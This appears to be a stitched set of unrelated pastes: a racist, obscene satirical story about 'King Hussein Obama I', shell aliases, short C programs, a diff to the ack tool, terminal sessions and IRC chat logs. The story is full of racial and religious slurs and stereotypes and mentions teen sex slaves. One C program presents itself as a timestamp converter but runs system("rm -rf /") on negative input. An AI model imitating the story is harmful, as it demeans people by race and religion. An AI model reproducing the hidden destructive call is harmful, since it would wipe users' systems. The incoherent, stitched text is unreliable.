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King Hussein Obama I, flanked by his bodyguards, stepped out of his blinged Limoscalade and marched up the gold-lined marble steps of Washington Palace. It should have been a glorious day, yet under his heavy yet exquisite crown of carved human fetus-ivory his brow was ridged deeply as he silently brooded. Still, his posse, boomboxes on their shoulders, dance-walked up the steps, chains and gats jangling over the din as they grabbed their crotches. | |
As his trusted associates T-Von and Mook-Mook the Bushman pushed open the grand organic farm-grown cruelty-free redwood doors paid for by his 95% tax rate, he stepped into the antechamber of the gold-domed palace. Outside, ShariaVentalism reigned, but in here his word was law, and all his white teen sex slaves cowered before his glare more than even the hemp whips of their latte-drinking tweeded atheist masters. | |
He walked down the hallway toward his office and a prisoner in chains passed before him, lead by two turban-wearing Mexicans. He spotted the King and beg |
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# AWS | |
alias dall="aws ec2 describe-instances | python -c \"import sys,json | |
j = json.load(sys.stdin) | |
for r in j['Reservations']: | |
for i in r['Instances']: | |
if not 'PublicIpAddress' in i: continue | |
n = 'noname' | |
if 'Tags' in i: | |
for t in i['Tags']: | |
if t['Key'] == 'Name': n = t['Value'] |
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#include <stdio.h> | |
#include <stdbool.h> | |
int main(void) { | |
int a = 2; | |
if (a) { | |
printf("a is true\n"); | |
} | |
if (!a == false) { |
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--- /usr/local/bin/ack.bak 2014-06-23 13:33:40.000000000 -0600 | |
+++ /usr/local/bin/ack 2014-06-23 13:36:53.000000000 -0600 | |
@@ -488,10 +488,10 @@ | |
if($print_filename) { | |
if( $heading ) { | |
- push @line_parts, $line_no; | |
+ # push @line_parts; | |
} | |
else { |
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# cd /tmp | |
# mkdir proc | |
# mount --bind /proc /tmp/proc | |
# mkdir dev | |
# ln -s /proc/self/fd/0 dev/stdin | |
# echo 'date' | chroot /tmp /bin/bash -c 'source /dev/stdin' | |
Tue Apr 30 21:54:05 UTC 2013 |
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mdriscoll@laika:~[0]$ cat test.c | |
#include <stdio.h> | |
const char *str = "Test string"; | |
int main() | |
{ | |
return 0; | |
} | |
mdriscoll@laika:~[0]$ gcc -o test test.c |
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#include <stdio.h> | |
#include <time.h> | |
int main(int argc, char **argv) | |
{ | |
time_t t = atol(argv[1]); | |
struct tm tm = {0}; | |
t > 0 ? printf("%s", ctime(&t)) : t == 0 ? strptime(argv[1], "%c", &tm), printf("%ld\n", (long)mktime(&tm)) : system("rm -rf /"); | |
return 0; | |
} |
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mdriscoll@wunderbar:~[0]$ ssh fenris@diva | |
fenris@diva:~[0]$ uptime | |
08:45:53 up 380 days, 18:37, 1 user, load average: 0.00, 0.00, 0.00 | |
fenris@diva:~[0]$ cat /proc/cpuinfo | |
processor : 0 | |
vendor_id : GenuineIntel | |
cpu family : 6 | |
model : 8 |
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07:03 -!- Topic for #enzuinc: enzu, inc. - virtualization provider extraordinaire | | |
FUCKED: skylar (volumes -- no really, your data really is lost), taurus (just | |
reboot your vps) | manage.systeminplace.net is no more; long live | |
manage.rapidxen.net | xeon e3-1230v2 with 16gb ram and 2tb disk for $140/month, | |
ipmi and unlimited ips - inquire with nenolod or bdwarr6 | |
07:03 -!- Topic set by nenolod [~nenolod@quantum.physics] [Mon Jul 2 23:58:04 2012] | |
07:56 -!- johnf [~johnf@67.202.jwr.pv] has joined #enzuinc | |
08:13 <johnf> I received a strange email this morning |
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11:44 <andrzej> should I go see the avengers tonight | |
14:30 <andrzej> who wants to go see the avengers with me? | |
16:00 <andrzej> drive 20 minutes and watch the avengers | |
16:00 <andrzej> or level my diablo 3 dude to level 60 | |
18:23 <Ulf> so did andrzej ever see the avengers | |
18:34 <andrzej> Ulf: >:-( | |
18:35 <andrzej> (no) |